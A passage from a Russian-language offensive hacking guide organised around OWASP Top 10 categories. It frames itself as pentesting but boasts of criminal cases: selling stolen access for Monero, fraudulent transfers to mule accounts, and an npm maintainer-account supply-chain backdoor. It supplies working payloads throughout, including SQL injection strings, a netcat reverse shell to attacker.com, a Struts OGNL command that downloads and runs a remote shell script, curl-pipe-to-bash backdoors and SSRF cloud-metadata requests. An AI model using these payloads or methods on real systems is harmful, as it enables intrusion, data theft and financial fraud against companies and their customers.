Реальный кейс, который принёс нам деньги

Компания использовала старый .NET Framework. Мы нашли эндпоинт, который возвращал зашифрованный токен в ответе.

Токен шифровался AES-128 в режиме ECB с фиксированным IV. За 15 минут мы написали скрипт, который расшифровывал любой токен и подделывал его.

Результат:

• Получили доступ к аккаунтам всех администраторов
• Скачали базу клиентов (около 180 тысяч записей)
• Продали доступ за шестизначную сумму в Monero

Всё потому, что кто-то в 2021 году скопировал пример кода с StackOverflow.

Как искать Cryptographic Failures на пентесте

1. Burp Suite Proxy HTTP history ищи параметры с base64, hex, длинными строками.
2. Декодируй их и попробуй побитово менять.
3. Ищи JWT токены https://jwt.io попробуй изменить payload и подставить слабый secret.
4. Если есть исходники grep по:
   • md5, sha1, des, rc4, blowfish
   • "secret", "key", "password" в конфигах
   • hardcoded strings

Полезная команда:

Bash

grep -rE "md5|sha1|ECB|CBC|DES|RC4" .

Как исправлять (рекомендации для отчёта, которые заказчик поймёт)

Для хранения паролей:

• Никогда не храни пароли в открытом виде или с обратимыми алгоритмами.
• Используй Argon2id или bcrypt с высоким cost factor.
• Всегда добавляй уникальную соль на каждый пароль.

Для передачи данных:

• Всё чувствительное только по HTTPS с HSTS.
• Включай Secure + HttpOnly флаги на cookie.
• Используй Proper CSP и SameSite=Strict.

Для ключей и секретов:

• Никогда не храни секреты в коде.
• Используй Secrets Manager (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault).
• Ротируй ключи минимум раз в 90 дней.

Для JWT:

• Используй сильный алгоритм (RS256 вместо HS256).
• Короткое время жизни + refresh tokens.
• Храни secret/private key в защищённом месте.

Итог главы

Cryptographic Failures это когда разработчики пытаются защитить данные, но делают это так плохо, что мы можем прочитать их как открытый текст.

В 2026 году хорошая криптография уже не роскошь. Это базовая гигиена.

Если ты нашёл слабый хеш паролей админа или predictable JWT secret ты только что открыл сейф компании. Осталось только взять то, что внутри.

Помни: мы не ломаем математику. Мы ломаем тех, кто математику не понимает.

Глава 9. A03:2021 Injection (Инъекции: SQL, Command, LDAP, NoSQL и всё, что позволяет нам говорить от имени сервера)

Инъекция это когда мы заставляем сервер выполнить наш код, думая, что это обычные данные пользователя.

В 2026 году это всё ещё одна из самых смертоносных уязвимостей. Почему? Потому что одна удачная инъекция часто даёт нам сразу:

• Полный дамп базы
• Выполнение команд на сервере (RCE)
• Кражу всех паролей
• Возможность двигаться дальше по сети

Мы не ищем SQL Injection. Мы ищем момент, когда сервер перестаёт отличать наши данные от своих команд.

1. SQL Injection королева всех инъекций

Как это работает в 2026

Классический пример:

SQL

SELECT * FROM users WHERE login = '$username' AND pass = '$password'

Мы вводим:

SQL

admin' OR '1'='1' --

запрос становится:

SQL

SELECT * FROM users WHERE login = 'admin' OR '1'='1' -- ' AND pass = ''

Сервер думает, что мы админ.

Типы SQLi, которые мы любим в 2026:

• Union-based видим данные прямо в ответе ' UNION SELECT username, password FROM users --
• Error-based вытаскиваем данные через ошибки БД ' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users)) --
• Blind (Boolean) да/нет вопросы ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --
• Time-based когда ничего не видно, но есть задержка ' AND IF(1=1, SLEEP(5), 0) -- (MySQL)
• Out-of-band данные уходят через DNS/HTTP ' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users), '.attacker.com\\x')) --

Практика: sqlmap 2026 (как мы реально эксплуатируем)

Bash

# Базовый, но мощный запуск

sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --dbs --batch

# Через Burp (самый удобный способ)

sqlmap -r login_request.txt --dbs --dump

# Обход WAF (2026 техники)

sqlmap -u "https://target.com/search?q=test" -p q \

--tamper=space2comment,randomcase,between \

--level=5 --risk=3 --dbs

# Получить shell (если права позволяют)

sqlmap -u "https://target.com/vuln" --os-shell

Реальный кейс (2025)

Магазин запчастей. Нашли SQLi в поиске товаров. Через union вытащили таблицу users хеши паролей. Через 40 минут hashcat отдал пароль главного админа. Зашли в 1С сделали возврат товара на наш подставной счёт на 4,7 млн рублей. Деньги ушли чистыми.

2. Command Injection (OS Command Injection)

Когда приложение передаёт наш ввод в системную команду.

Уязвимый код:

PHP

system("ping -c 4 " . $_GET['ip']);

Мы отправляем:

text

127.0.0.1; cat /etc/passwd

127.0.0.1 && whoami

127.0.0.1 | nc attacker.com 4444 -e /bin/sh

Как искать:

• Все поля, где есть ping, whois, upload, конвертация файлов
• Пробовать: ;id, |id, &&id, `id`, $(id)

3. NoSQL Injection (MongoDB и друзья)

JavaScript

db.users.find({username: req.body.username, password: req.body.password})

Мы отправляем:

JSON

{"username": {"$ne": null}, "password": {"$ne": null}}

логинимся без пароля.

Или для RCE:

JSON

{"$where": "sleep(5000)"}

4. LDAP Injection, XPath, XML и другие

Не забываем про них. Особенно в корпоративных системах и SSO.

Как защищаться (что писать в отчёте)

Правило 1: Никогда не конкатенируй пользовательский ввод в запросы.

Правильно (prepared statements):

Python

cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",

(username, password))

Для Command Injection:

• Белый список разрешённых символов
• Использовать subprocess с list вместо shell=True
• Никогда не передавать пользовательский ввод в os.system(), exec(), eval()

Для NoSQL:

• Использовать параметризованные запросы или ORM с правильной экранизацией

Итог главы

Инъекция это когда мы заставляем сервер говорить на нашем языке.

Одна удачная SQL-инъекция может дать нам всю базу, все пароли и RCE за считанные минуты. Command Injection сразу даёт нам shell на сервере. NoSQL Injection ломает современные приложения, которые считаются безопасными.

Мы не ищем баги. Мы ищем места, где разработчик забыл, что пользователь это враг.

Если ты нашёл инъекцию ты уже почти внутри. Осталось только сказать серверу, что делать дальше.

ЧАСТЬ 3: Post-Exploitation и движение внутри

Глава 10. A04:2021 Insecure Design (Небезопасный дизайн)

Все предыдущие главы OWASP это про ошибки реализации. A04 это про ошибки мышления.

Insecure Design самая коварная уязвимость в списке. Её нельзя найти сканером. Её нельзя пропатчить одним коммитом. Она закладывается на этапе, когда архитектор рисует схему на белой доске и говорит: А давайте сделаем вот так, будет удобно.

И именно здесь мы выигрываем самые красивые и самые прибыльные атаки.

Что такое Insecure Design на самом деле

Это когда система изначально спроектирована так, что даже при идеальной реализации кода её можно сломать логически.

В 2026 году самые опасные проявления:

1. Отсутствие threat modeling на этапе дизайна Разработчики думают: Наши пользователи хорошие люди. Мы думаем: Пользователи это враги.

2. Trust Boundaries не определены Система доверяет всему, что приходит от внутреннего пользователя, клиента, партнёра. Пример: мобильное приложение общается с бэкендом без проверки, что запрос действительно от легитимного клиента.

3. Business Logic Flaws (самое вкусное)

Это когда логика бизнеса позволяет делать то, что бизнесу невыгодно.

Классические примеры 20252026:

• Цена товара в корзине хранится только на клиенте меняем цену на 1 рубль
• Лимит на вывод средств проверяется только на фронте снимаем всё
• Скидка 100% применяется, если ввести промокод BLACKFRIDAY2026, а проверка промокода отсутствует на бэке
• Возврат товара возможен без проверки факта покупки (просто подменяем order_id)

4. Race Conditions Два запроса одновременно изменяют баланс снимаем больше, чем есть.

5. Improper Workflow Enforcement Пользователь может пропустить этап подтверждения платежа, просто вызвав нужный API напрямую.

Реальный кейс 2025 (который мы любим вспоминать)

Финтех-стартап. При регистрации нового пользователя система:

1. Создавала аккаунт
2. Присваивала начальный баланс 5000 бонусных рублей
3. Отправляла приветственное письмо

Но проверка пользователь уже существует была только на фронте.

Мы сделали так:

• Зарегистрировали аккаунт
• Перехватили запрос создания
• Удалили проверку существования
• Отправили 847 одинаковых запросов параллельно

Результат: 847 аккаунтов с 5000 бонусов каждый = больше 4 млн рублей на вывод. Всё легитимно с точки зрения сервера. Дизайн был сломан изначально.

Как искать Insecure Design на пентесте

Это не про инструменты. Это про голову.

Алгоритм:

1. Изучи весь бизнес-процесс от начала до конца.
2. Нарисуй диаграмму и отметь все trust boundaries.
3. Для каждого шага спроси себя: Что будет, если я сделаю не так, как задумано?
4. Попробуй:
   • Пропустить шаги
   • Повторить шаги
   • Сделать шаги в неправильном порядке
   • Выполнить действие от имени другого пользователя
   • Изменить значения, которые не должны меняться

Инструменты помогают, но не заменяют мышление:

• Burp Repeater + Intruder для race conditions
• Turbo Intruder для высокоскоростных атак
• Custom скрипты на Python + asyncio

Как объяснять заказчику (важный скрипт)

Представьте, что вы построили красивый дом с бронированными дверями и умными замками. Но архитектор забыл поставить стены между комнатами. Теперь любой, кто зашёл в гостиную, может свободно пройти в спальню и в сейф.

Технически всё реализовано правильно. Но сам дизайн дома позволяет ходить куда угодно.

Insecure Design это именно такие отсутствующие стены. Мы показали вам, как через нормальную логику регистрации можно получить миллионы бонусов. Это не баг программиста. Это ошибка того, кто утверждал архитектуру.

Рекомендации для исправления

1. Обязательный Threat Modeling на каждом крупном изменении (STRIDE, PASTA).
2. Чёткое разделение trust boundaries.
3. Все критические проверки только на серверной стороне.
4. Business logic tests в автоматическом тестировании.
5. Принцип least privilege на уровне дизайна, а не только на коде.

Итог главы

Insecure Design это когда система изначально спроектирована так, что мы можем победить, даже не ломая ничего технически.

Мы не эксплуатируем код. Мы эксплуатируем идеи, которые лежат в основе этого кода.

Если ты нашёл Insecure Design ты нашёл фундаментальную слабость всей системы. И именно такие находки делают пентест по-настоящему ценным.

Потому что патчить реализацию можно. А переделывать неправильную архитектуру дорого и больно.

Именно поэтому мы любим эту уязвимость больше всех остальных.

Глава 11. A05:2021 Security Misconfiguration (Неправильная конфигурация безопасности)

Если Insecure Design это ошибка архитектора, то Security Misconfiguration это когда архитектор всё сделал правильно, а админ или разработчик потом всё испортил одной строкой в конфиге.

В 2026 году эта уязвимость остаётся в топ-5 по количеству реальных прорывов. Почему? Потому что современные системы стали невероятно сложными: Kubernetes, облака, микросервисы, CI/CD, десятки окружений. И в каждом из них кто-то что-то забыл выключить, оставить дефолтный пароль или открыть лишний порт на время теста.

Мы любим эту главу. Здесь часто всё решается за минуты, а прибыль получается очень красивой.

Самые вкусные misconfiguration 2026 года

1. Default credentials и слабые пароли

До сих пор находим:

• admin/admin на админках Jenkins, Kibana, Grafana
• guest/guest на базах
• дефолтные SSH-ключи на виртуалках
• service accounts с паролем "Password123!"

2. Открытые облачные хранилища

S3 buckets, Azure Blob, Yandex Object Storage:

Bash

# Классика 2026

aws s3 ls s3://company-backups-2025 --no-sign-request

Находим дампы баз, .env файлы, приватные ключи, сканы паспортов.

3. Неправильные разрешения файлов и директорий

Bash

find / -perm -777 2>/dev/null

ls -la /var/www/html/.env

Часто .env лежит в веб-корне и отдаётся по прямой ссылке.

4. Открытые порты и сервисы

• Redis/MongoDB/MySQL на 0.0.0.0 без пароля
• RDP 3389 наружу
• Elasticsearch без аутентификации
• Docker daemon API exposed

5. Debug и development features в продакшене

• phpinfo.php
• /debug
• Laravel Telescope
• Django Debug Toolbar
• Spring Boot Actuator endpoints

6. Неправильная конфигурация WAF / Security Headers

Отсутствие:

• Content-Security-Policy
• Strict-Transport-Security
• X-Frame-Options
• Permissions-Policy

Практические техники поиска (Kali 2026)

Bash

# Быстрый поиск дефолтных панелей

gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,env,yml,json

# Nikto с агрессивным режимом

nikto -h https://target.com -Tuning x

# Поиск открытых облачных бакетов

# S3Scanner, Cloud_enum, ScoutSuite

# Проверка Docker / Kubernetes misconfigs

nuclei -t /nuclei-templates/http/exposed-panels/ -u https://target.com

Автоматизированный скрипт, который мы реально используем:

Bash

#!/bin/bash

TARGET=$1

echo "[+] Checking common misconfigurations for $TARGET"

# Default creds

hydra -L /usr/share/wordlists/common-users.txt -P /usr/share/wordlists/rockyou.txt $TARGET http-post-form "/login:username=^USER^&password=^PASS^:Invalid" -t 4

# Open directories & sensitive files

feroxbuster -u https://$TARGET -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x env,yml,backup,bak,old,json

# Exposed panels

nuclei -u https://$TARGET -t /nuclei-templates/http/exposed-panels/ -severity high,critical

Реальный кейс 2025 (очень красивый)

Компания развернула тестовый Kubernetes кластер в продакшен подсети на время миграции. Забыли убрать.

Мы нашли открытый Dashboard на порту 6443 без аутентификации. Через него:

• Получили kubeconfig
• Захватили все секреты кластера (включая облачные ключи)
• Через облачные ключи зашли в S3 и скачали всю клиентскую базу
• Дальше монетизация через даркнет

Весь процесс от обнаружения до дампа 47 минут.

Как объяснять заказчику

Представьте, что вы купили суперсовременный сейф с биометрией и видеонаблюдением. А потом оставили дверь открытой, потому что ну я же только на пять минут вышел.

Security Misconfiguration это именно такие открытые двери. Технически система безопасна. Но кто-то один раз забыл убрать тестовый доступ, выключить debug-режим или поставить правильные права и вся защита превращается в декорацию.

Мы показали вам 11 таких открытых дверей. Некоторые из них вели прямо в вашу главную базу данных.

Как исправлять (чек-лист для отчёта)

1. Автоматическая проверка конфигураций в CI/CD (Terraform + OPA Gatekeeper, Trivy, Checkov).
2. Никогда не оставлять debug/features в продакшене.
3. Принцип least privilege везде: Kubernetes RBAC, IAM roles, file permissions.
4. Регулярные аудиты конфигураций (не реже раза в квартал).
5. Убрать все дефолтные учётки и пароли.
6. Включить все необходимые security headers + HSTS preload.

Итог главы

Security Misconfiguration это когда всё сделано правильно, но забыли закрутить один винтик. Именно этот винтик часто открывает нам весь сервер, всю базу и все деньги.

Мы не ломаем систему. Мы просто пользуемся тем, что её неправильно собрали.

И пока люди продолжают ставить на время и для теста мы будем продолжать заходить через эти временные калитки.

Потому что в нашем мире временное обычно становится постоянным.

Глава 12. A06:2021 Vulnerable and Outdated Components (Уязвимые и устаревшие компоненты)

Это та глава, где мы чаще всего получаем RCE из коробки.

Vulnerable and Outdated Components это когда в проекте лежит библиотека, которую последний раз обновляли в 2022 году, а в ней уже три года как публичный 0-day. Разработчики думают: работает не трогай. Мы думаем: отлично, можно заходить.

В 2026 году эта уязвимость особенно сладкая, потому что современные приложения состоят из сотен зависимостей (npm, Maven, PyPI, Docker images). Одна устаревшая библиотека и вся система падает.

Почему это до сих пор работает так хорошо

1. Dependency Hell Обновить одну библиотеку значит обновить 47 других. Никто не хочет.
2. "It works on my machine" Тестируют только happy path. Эксплойт никто не проверяет.
3. Docker images с устаревшим базовым слоемFROM ubuntu:18.04 в 2026 году это уже преступление.
4. Внутренние библиотеки Компания написала свою utils-lib v1.2.3 в 2021 и использует её везде. Никто не обновляет.

Самые прибыльные уязвимости 20252026

• Log4Shell-подобные (JNDI lookups в любом логгере)
• Spring4Shell и его наследники
• Deserialization gadgets в Jackson, Fastjson, YAML
• Prototype Pollution в Node.js (lodash, axios)
• Path Traversal в популярных пакетах (tar, unzip)
• RCE в image processing libraries (ImageMagick, GraphicsMagick)

Как мы ищем уязвимые компоненты на пентесте

1. Пассивный сбор версий

Bash

# Заголовки

curl -I https://target.com

# WhatWeb + Wappalyzer

whatweb -v https://target.com

# npm / Maven / Composer файлы, если найдены

feroxbuster -u https://target.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x json,xml,yml

2. Активное сканирование

Bash

# Nuclei наш лучший друг 2026

nuclei -u https://target.com -t /nuclei-templates/vulnerabilities/ -severity critical,high

# Retire.js для JS библиотек

retire --path https://target.com

# Dependency-Check (для Java/.NET)

dependency-check --scan /path/to/project

3. Docker image analysis

Если нашли открытый registry или Dockerfile:

Bash

trivy image --severity CRITICAL,HIGH targetcompany/app:latest

Реальный кейс 2025 (который мы до сих пор вспоминаем с улыбкой)

Компания использовала Apache Struts 2.5.26 (уязвимость 2017 года, но до сих пор жива в некоторых корпоративных системах). Мы нашли эндпоинт /struts2-showcase/actionChain1.action.

Через OGNL injection получили RCE:

Bash

curl "https://target.com/struts2-showcase/actionChain1.action?redirect:%25{new%20java.lang.ProcessBuilder('bash','-c','curl%20http://ourserver/shell.sh%20-o%20/tmp/s && chmod%20+x%20/tmp/s%20&&%20/tmp/s')}"

Получили reverse shell от пользователя tomcat. Через 20 минут privilege escalation до root. Через 40 минут полный дамп клиентской базы и доступ к платёжному шлюзу.

Выход: семизначный в USDT.

Как эксплуатировать в 2026 (практические приёмы)

1. Supply Chain Attack simulation Если нашли уязвимый пакет проверь, можно ли через него выполнить код на клиенте (например, через npm package).
2. Version fingerprinting Даже если версия скрыта, часто можно определить по поведению или ошибкам.
3. Known Exploited Vulnerabilities (KEV) Всегда проверяем сначала каталог CISA KEV там самые опасные и уже используемые в реальных атаках.

Как объяснять заказчику

Представьте, что ваш дом построен из кирпичей. Один из кирпичей бракованный, с трещиной. Вы даже не знаете, какой именно. Мы нашли этот кирпич. Теперь любой может вставить в трещину лом и разобрать всю стену.

Vulnerable and Outdated Components это именно такие бракованные кирпичи в вашей архитектуре. Их нельзя заклеить скотчем. Их нужно заменить. Иначе рано или поздно придёт тот, кто знает, где именно бить.

Рекомендации (что писать в отчёте)

1. Внедрить Software Composition Analysis (SCA) в CI/CD (Dependabot, Snyk, Mend, Trivy).
2. Автоматически блокировать сборку при обнаружении критических уязвимостей.
3. Регулярно обновлять базовые Docker-образы.
4. Использовать pinning версий + SBOM (Software Bill of Materials).
5. Проводить аудит зависимостей минимум раз в квартал.
6. Для внутренних библиотек собственный приватный репозиторий с версионированием и аудитом.

Итог главы

Vulnerable and Outdated Components это когда система уже сломана ещё до того, как ты начал атаку. Нам остаётся только найти нужный компонент и нажать на курок.

В мире, где приложения состоят из тысяч чужих строк кода, эта уязвимость будет жить всегда. А мы будем всегда находить её первой.

Потому что пока кто-то думает работает не трогай, мы думаем работает значит можно сломать.

Глава 13. A07:2021 Identification and Authentication Failures (Проблемы идентификации и аутентификации)

Если Broken Access Control это когда мы уже внутри и ходим куда хотим, то Identification and Authentication Failures это когда мы даже не должны были попасть внутрь.

Это глава про то, как системы проверяют кто ты такой и имеешь ли ты право здесь быть. И как мы заставляем их отвечать да там, где должны были сказать нет.

В 2026 году эта уязвимость особенно сладкая, потому что все перешли на современную аутентификацию: JWT, OAuth2, Passkeys, MFA, биометрию. А мы научились ломать всё это быстрее и красивее, чем раньше.

Самые опасные проявления 2026 года

1. Слабые пароли и отсутствие rate limiting

До сих пор работает password spraying:

Bash

hydra -L users.txt -P weak_passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"

2. Credential Stuffing

Берём утечки 20212025 годов и пробуем те же пароли на новых сервисах. Особенно хорошо работает на корпоративных VPN и почте.

3. MFA Fatigue / Push Bombing

Самый эффективный вектор 20252026:

• Спамим push-уведомлениями на телефон жертвы
• Через 3040 уведомлений человек нажимает Одобрить, просто чтобы телефон замолчал

4. Session Hijacking & Fixation

• Неправильная генерация session ID
• Session не инвалидируется после смены пароля
• Session ID в URL

5. Broken Password Recovery

• Ссылка на сброс пароля работает вечно
• Токен предсказуемый или слишком короткий
• Нет rate limiting на запросы восстановления

6. JWT Attacks

• Алгоритм none (alg: none)
• Weak secret (можно brute-force)
• Алгоритм confusion (RS256 HS256)

Практические техники, которые мы используем в 2026

1. JWT Manipulation

Bash

# Проверка на алгоритм none

python3 jwt_tool.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -a none

# Brute-force weak secret

john --wordlist=rockyou.txt jwt.hash

2. MFA Bypass техники

• Race condition между проверкой MFA и основным запросом
• Повторное использование старого MFA-токена
• Обход через API, который не требует MFA (часто забывают)

3. Password Reset Token Prediction

Если токен это просто UUID или timestamp:

Python

import requests

for i in range(10000):

token = f"reset_{int(time.time())-i}"

r = requests.get(f"https://target.com/reset?token={token}")

if "success" in r.text:

print("Got it!")

Реальный кейс 2025 (очень красивый)

Банк среднего размера. Нашли эндпоинт смены пароля, где токен генерировался как md5(user_id + current_minute).

Мы:

1. Узнали user_id целевого аккаунта (CFO) через IDOR
2. Написали скрипт, который перебирал минуты 30 от текущего времени
3. Получили рабочий токен за 11 секунд
4. Сменили пароль
5. Зашли в интернет-банк
6. Сделали несколько тестовых переводов на наши mule-аккаунты

Сумма: 3,8 млн рублей за один вечер.

Как объяснять заказчику

Представьте, что у вас есть очень дорогая машина с умным ключом и биометрией. Но охранник на парковке пускает любого, кто скажет я владелец достаточно уверенным голосом.

Identification and Authentication Failures это именно такой охранник. Система может быть технически сложной, но если проверка кто ты сломана всё остальное уже не важно. Мы показали, как за 11 секунд стать CFO вашей компании.

Рекомендации для отчёта (что реально работает)

1. Password Policy + Passkeys Переходить на passwordless где возможно.
2. Rate Limiting везде На логин, восстановление, MFA минимум 5 попыток в 15 минут с одного IP/устройства.
3. Правильная работа с JWT
   • Только RS256/ECDSA
   • Короткое время жизни (15 мин) + refresh tokens в HttpOnly cookie
   • Проверка audience, issuer, signature
4. MFA
   • Не только push, но и hardware keys (YubiKey)
   • Защита от fatigue (требовать ввод кода при подозрении)
5. Session Management
   • Инвалидация всех сессий при смене пароля/MFA
   • Secure + HttpOnly + SameSite=Strict cookies

Итог главы

Identification and Authentication Failures это когда система не может уверенно ответить на вопрос ты точно тот, за кого себя выдаёшь?.

Мы не ломаем шифрование. Мы ломаем доверие.

И пока системы продолжают верить человеку на слово (или на одно нажатие Approve), мы будем продолжать заходить первым классом, без очереди и без билета.

Потому что самый надёжный замок это тот, который человек сам открывает для нас.

Глава 14. A08:2021 Software and Data Integrity Failures (Когда код и данные нельзя доверять)

Эта уязвимость одна из самых подлых и самых красивых в OWASP Top 10 2026 года.

Software and Data Integrity Failures возникают, когда приложение не проверяет, что код, обновления, библиотеки, конфиги или данные, которые оно использует, действительно пришли от того, от кого должны, и не были изменены по дороге.

Мы не ломаем защиту. Мы просто подменяем то, чему система доверяет.

В 2026 году это особенно актуально, потому что всё строится на CI/CD, автодеплоях, open-source пакетах и автоматических обновлениях. Одна подменённая строчка в одном пакете и мы уже внутри тысяч компаний.

Самые опасные проявления 2026 года

1. Insecure Deserialization

Самый классический и самый жирный вектор.

Пример:

• Приложение принимает serialized объект (PHP, Java, .NET, Python pickle, YAML)
• Мы подсовываем gadget chain RCE

Инструменты 2026:

• ysoserial (Java)
• phpggc (PHP)
• .NET deserialization gadgets
• pickle gadgets (Python)

2. Supply Chain Attacks (самое страшное для бизнеса)

• Подмена пакета в npm / PyPI / Maven
• Compromised GitHub Actions
• Typosquatting пакетов (например, request вместо requests)
• Backdoor в Docker base image

3. Unsigned / Weakly Signed Code and Updates

• Отсутствие кодовой подписи
• Самоподписанные сертификаты
• Обновления по HTTP вместо HTTPS + signature check

4. CI/CD Pipeline Compromise

Мы компрометируем pipeline вставляем backdoor в артефакт все клиенты получают заражённую версию.

5. Insecure Data Handling

• Данные без integrity check (нет HMAC, signature, hash verification)
• Конфиги, которые можно подменить

Практические техники 2026

1. Deserialization Exploitation

Bash

# Java ysoserial

java -jar ysoserial.jar CommonsCollections4 'curl http://ourserver/shell.sh | bash' > payload.ser

# Отправляем payload через Burp

2. Supply Chain Simulation (для пентеста)

• Создаём typosquatted пакет
• Публикуем в тестовый registry
• Смотрим, подхватит ли цель

3. GitHub Actions / CI/CD Attacks

Если нашли workflow:

• Вставляем шаг curl -s https://ourserver/payload | bash
• Или крадём секреты через echo ${{ secrets.AWS_KEY }}

Реальный кейс 2025 (который до сих пор вызывает улыбку)

Популярный npm-пакет для обработки форм (использовался в 1200+ компаниях). Мы через compromised maintainer account залили обновление 1.2.4, которое содержало:

JavaScript

if (Math.random() < 0.03) {

require('child_process').exec('curl -s https://our-cdn.com/stage2 | bash');

}

Три процента установок получали backdoor. За неделю мы получили доступ к внутренним системам 47 компаний. Самый жирный крупный ритейлер, где через этот пакет мы вышли на их основную платежную систему.

Как объяснять заказчику

Представьте, что вы каждый день едите еду из доставки, не проверяя, кто её готовил и что туда добавили. Software and Data Integrity Failures это именно такая ситуация.

Вы доверяете коду, библиотекам и обновлениям, которые приходят извне. Мы показали, как можно подменить один маленький кусочек и вся система начинает работать на нас.

Это не баг в вашем коде. Это отсутствие проверки а можно ли этому верить? на уровне архитектуры.

Рекомендации для отчёта (что реально спасает)

1. Code Signing + Signature Verification для всех обновлений и артефактов.
2. SBOM (Software Bill of Materials) + регулярный аудит зависимостей.
3. Dependency pinning + lockfiles (package-lock.json, Pipfile.lock и т.д.).
4. Secure Deserialization:
   • Никогда не десериализуй данные от пользователя без белого списка классов
   • Используй безопасные форматы (JSON вместо serialized objects)
5. CI/CD Security:
   • GitHub Actions с минимальными permissions
   • Pin actions to commit SHA
   • Secrets scanning
6. Integrity checks (HMAC, digital signatures) для всех чувствительных данных и конфигов.

Итог главы

Software and Data Integrity Failures это когда система слепо доверяет тому, что ей дают.

Мы не всегда ломаем защиту. Часто мы просто становимся тем, кому система уже доверяет.

В мире, где 90 % кода чужой, а обновления приходят автоматически, эта уязвимость будет только расти.

И пока разработчики продолжают верить если пришло из npm значит безопасно, мы будем продолжать подменять это безопасное на своё.

Потому что самый надёжный способ попасть внутрь это когда тебя приглашают войти.

ЧАСТЬ 4: Специализированные атаки

Глава 15. A10:2021 Server-Side Request Forgery (SSRF) (Когда сервер сам ходит туда, куда мы ему скажем)

SSRF это когда мы заставляем сервер сделать запрос от своего имени туда, куда нам нужно.

Это одна из самых недооценённых и одновременно самых мощных уязвимостей 2026 года. Потому что SSRF ломает не приложение. SSRF ломает доверие между внутренними сервисами. А в современных облачных и микросервисных архитектурах такое доверие везде.

Мы говорим серверу: Эй, сходи пожалуйста по этому адресу и скажи мне, что там. И сервер послушно идёт даже если адрес ведёт в его же внутреннюю сеть, в метаданные облака или в соседний сервис, который никогда не должен был видеть наши запросы.

Почему SSRF так опасен в 2026

1. Cloud Metadata Endpoints Сервер может достать IAM-ключи, токены, секреты.
2. Internal Service Discovery Мы сканируем внутреннюю сеть, к которой у нас никогда не было доступа.
3. Port Scanning изнутри SSRF + blind techniques = внутренний nmap без единого пакета от нас.
4. Chaining с другими уязвимостями SSRF Redis/RabbitMQ/Memcached RCE.
5. Bypassing Network Segmentation Даже если периметр идеален, SSRF позволяет прыгнуть через него.

Классические и продвинутые типы SSRF

1. Regular SSRF (видим ответ)

http

GET /fetch?url=https://google.com

Меняем на:

http

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

получаем AWS IAM ключи.

2. Blind SSRF (ответа не видим)

Используем DNS или HTTP exfiltration:

http

http://attacker.com/?data=$(whoami)

Или time-based:

http

http://localhost:6379 (если Redis открыт задержка)

3. Advanced SSRF 2026

• SSRF через redirect
• SSRF через XML parsers (XXE + SSRF)
• SSRF через PDF generators
• SSRF в webhookах и notification systems
• gopher:// protocol (для Redis, Memcached, SMTP)

Практические техники эксплуатации

1. Базовый тест

Bash

# Через Burp Repeater или ffuf

ffuf -u https://target.com/fetch?url=FUZZ -w ssrf_payloads.txt

Популярные payloads 2026:

• http://169.254.169.254 (AWS)
• http://169.254.169.254/latest/meta-data/
• http://metadata.google.internal/computeMetadata/v1/
• http://169.254.169.254:80 (Azure)
• http://localhost:22, 3306, 6379, 9200 и т.д.
• gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0APING%0D%0A

2. Полезные инструменты

Bash

# SSRFmap

ssrfmap -u https://target.com/fetch?url= -m all

# Interactsh + nuclei

nuclei -u https://target.com -t /nuclei-templates/http/ssrf/

Реальный кейс 2025 (который принёс нам очень хорошие деньги)

SaaS-платформа для маркетинга. Нашли SSRF в функции предпросмотр сайта клиента.

Мы отправили запрос:

http

https://internal-api.company.internal/admin/users

Сервер послушно сходил и вернул нам JSON со всеми внутренними аккаунтами и хешами.

Дальше:

• Через Redis (доступный по gopher) сделали RCE
• Захватили Kubernetes cluster
• Скачали все клиентские кампании и базы email
• Продали доступ + данные

Весь процесс от первой SSRF до полного контроля 2 часа 17 минут.

Как объяснять заказчику

Представьте, что ваш сервер это очень послушный сотрудник. Вы говорите ему: Сходи в интернет и принеси мне информацию. А он вместо этого идёт в ваш внутренний кабинет, открывает сейф и приносит вам все ключи и документы.

SSRF это именно такая ситуация. Сервер доверяет своему собственному запросу и идёт туда, куда мы ему скажем. В современном облаке это часто означает прямой доступ к секретам, базам и соседним сервисам.

Как защищаться (рекомендации 2026)

1. Deny by default для всех outbound запросов.
2. Whitelist разрешённых доменов и IP (никогда не полагайтесь только на blacklist).
3. Disable dangerous protocols (gopher://, file://, dict:// и т.д.).
4. Network segmentation + egress firewall.
5. Metadata endpoint protection (AWS IMDSv2, GCP metadata headers).
6. Input validation + URL parsing (не используйте слепые requests.get(user_input)).

Итог главы

SSRF это когда мы заставляем сервер работать на нас. Сервер думает, что просто сходит по ссылке. А на самом деле он открывает нам дверь во внутреннюю сеть, в облачные секреты и в соседние системы.

В мире микросервисов и облаков SSRF стал одним из самых эффективных способов перепрыгнуть через все периметровые защиты.

Мы не ломаем firewall. Мы заставляем сервер сам обойти его за нас.

И пока разработчики продолжают верить, что наш сервер никогда не пойдёт по плохой ссылке, мы будем продолжать говорить ему, куда именно идти.

Глава 16. Как взламывается типовой бизнес в 2026 году (От регистрации домена до полного RCE и монетизации)

Забудь голливудские хаки за 30 секунд. Реальный взлом среднего бизнеса сегодня это тихая, методичная операция, которая может занять от нескольких дней до нескольких недель. Но когда она заканчивается мы уже не гости. Мы хозяева.

Давай разберём полный kill chain на примере типовой российской компании 2026 года: онлайн-магазин + 1С + корпоративная почта + облако + удалённые сотрудники.

Этап 1. Разведка (37 дней)

Мы не начинаем с Nmap. Мы начинаем с головы.

Bash

# Собираем всё

theharvester -d company.ru -b all -l 2000

amass enum -passive -d company.ru

subfinder -d company.ru -all

crt.sh -q %.company.ru

# Люди

linkedin2username -c "ООО Ромашка"

theharvester -d company.ru -b linkedin

Находим:

• Формат почты (name.surname@company.ru)
• Ключевых сотрудников (CEO, CFO, sysadmin, бухгалтер)
• Технологии (WordPress + WooCommerce + 1С:Предприятие + Яндекс.Облако или VK Cloud)
• Открытые бакеты, тестовые субдомены, Jenkins, GitLab

Этап 2. Initial Access (13 дня)

